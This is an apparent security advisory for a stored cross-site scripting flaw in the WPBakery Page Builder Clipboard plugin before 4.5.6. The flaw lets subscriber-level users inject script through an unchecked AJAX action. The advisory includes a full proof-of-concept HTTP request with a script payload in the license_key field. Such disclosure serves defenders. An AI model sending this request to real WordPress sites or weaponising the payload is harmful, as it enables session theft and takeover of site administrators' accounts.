WPBakery Page Builder Clipboard < 4.5.6 - Subscriber+ Stored Cross-Site Scripting (XSS)

Description

An AJAX action registered by the plugin did not have capability checks nor sanitization, allowing low privilege users (subscriber+) to call it and set XSS payloads, which will be triggered in all backend pages.

Version 4.5.6 fixed the XSS issue with sanitization of the parameters, but did not fix the Subscriber+ options update. See additional related vulnerability patched in version 4.5.8.

Proof of Concept

When logged in as a user with Subcriber role or greater, submit a request to wp-admin/admin-ajax.php with action = "vc_clipboard_activate" and Javascript can be set in the "email" or "license_key" parameters.

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 101
Connection: close
Cookie: [Subscriber+ cookies]

action=vc_clipboard_activate&email=alertfoo&license_key=</script><script>alert(123);</script><script>